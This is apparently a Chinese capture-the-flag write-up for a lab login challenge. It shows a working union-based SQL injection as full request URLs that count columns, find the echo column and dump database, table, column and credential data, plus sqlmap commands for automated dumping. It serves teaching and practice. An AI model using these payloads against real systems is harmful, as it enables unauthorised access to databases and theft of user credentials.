进入看到如下页面
是一个登录界面,尝试使用万能密码
显示登陆成功,得到一串很像flag的,但感觉有蹊跷,果然不对
方法一:手工注入
看到url中有传参
尝试在url中使用union联合注入
可以使用postman这个软件,因为网页中的url会编码符号,不方便语句的编写
判断为字符型注入
http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=admin' order by 3%23&password=1页面正常
http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=admin' order by 4%23&password=1页面报错
故字段数为3
使用union联合注入,判断回显点在哪里
http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,3%23&password=1
通过显示的数字确定显示的列的位置,根据查询结果,显示3,想要查询的信息放在第三个列
爆出数据库名
http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,database()%23&password=1
爆出表名
http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,table_name from information_schema.tables where table_schema=database()%23&password=1
爆出字段
http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
下一步爆出内容
http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
最终得到flag
方法二:sqlmap注入
发现上面有一行小字,当让要用sqlmap试试
不过需要先用burp suite抓包,将内容复制保存在本地的文件使用命令
python sqlmap.py -r 文件名 --dbspython sqlmap.py -r 文件名 --tablespython sqlmap.py -r 文件名 -T 表名 --columnspython sqlmap.py -r 文件名 -T 表名 -C 字段名 --dump